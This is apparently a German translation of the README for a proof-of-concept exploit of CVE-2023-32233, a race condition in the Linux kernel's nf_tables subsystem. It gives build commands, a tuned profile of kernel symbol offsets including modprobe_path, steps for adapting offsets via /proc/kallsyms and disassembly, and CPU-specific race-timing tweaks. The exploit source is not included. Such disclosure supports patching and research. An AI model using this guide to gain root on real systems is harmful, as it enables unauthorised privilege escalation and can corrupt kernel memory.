
CVE-2023-32233: Sicherheitslücke im Linux-Kernel
Die folgenden Anweisungen wurden unter Ubuntu 23.04 (Lunar Lobster) getestet.

Führen Sie den folgenden Befehl aus, um die Build-Abhängigkeiten zu installieren:
sudo apt install gcc libmnl-dev libnftnl-dev
Führen Sie den folgenden Befehl aus, um die PoC-Binärdatei zu erstellen:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
Das integrierte Profil enthält Parameter, die spezifisch für den Linux-Kernel sind, der in binärer Form als folgende Pakete von Ubuntu 23.04 (Lunar Lobster) verteilt wird:
Das integrierte Profil sieht wie folgt aus:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Optionale Schritte, um das integrierte Profil beim Testen mit anderen Linux-Kerneln zu überschreiben:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Um die Kernelbasis zu finden, untersuchen wir das nf_tables.ko-Image im Kernelspeicher. Insbesondere analysieren wir den Maschinencode der Unterroutine nft_counter_destroy(). Dies bedeutet, dass unsere Methode empfindlich auf den Compiler sowie auf die Compileroptionen reagiert. Alle üblichen Fälle können jedoch durch Überschreiben des integrierten Profils behandelt werden.
Beispielsweise kann der Maschinencode der Unterroutine nft_counter_destroy() wie folgt aussehen:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
Im obigen Fall können wir einige Parameter angeben, indem wir die folgenden drei Zeilen an die Konfigurationsdatei 'profile' anhängen.
Zunächst definieren wir den Offset des DWORD vor der free_percpu-Verschiebung neu:
5 nft_counter_destroy_call_offset # hex
wobei der Wert 5 mit dem Ausdruck (1e31d - 1e310) - 8 berechnet wurde.
Als Plausibilitätsprüfung validieren wir dann das DWORD am obigen Offset mit der folgenden Maske:
ffffffff nft_counter_destroy_call_mask # hex
wobei der folgende Wert erwartet wird:
e9087e8b nft_counter_destroy_call_check # hex
Das Ausnutzen der Sicherheitslücke erfordert das Gewinnen eines Rennens mit einem Hintergrund-Worker-Thread des Linux-Kernels. Das integrierte Profil wurde optimiert, um die Gewinnchance dieses Rennens auf einer breiten Palette von Intel-Mikroprozessoren, einschließlich Mobile Sandy Bridge und Desktop Comet Lake, zu maximieren. Einige Mikroprozessoren erfordern jedoch zusätzliche Optimierung. Beispielsweise haben wir unter Alder Lake in bestimmten Konfigurationen eine erhöhte Latenz beim Umschalten von Tasks beobachtet, weshalb es notwendig sein kann, die folgende Zeile an 'profile' anzuhängen:
400 race_lead_sleep
Wir haben eine Wahrscheinlichkeit von 80% oder besser gemessen, die Sicherheitslücke erfolgreich auszunutzen in unseren Tests, die auf unbelasteten Bare-Metal-Systemen durchgeführt wurden.
Sobald der PoC auf einem verwundbaren System gestartet wird, kann das System in einen instabilen Zustand mit beschädigtem Kernelspeicher versetzt werden. Wir empfehlen dringend, den PoC auf einem dedizierten System zu testen, um potenzielle Datenkorruptionen zu vermeiden.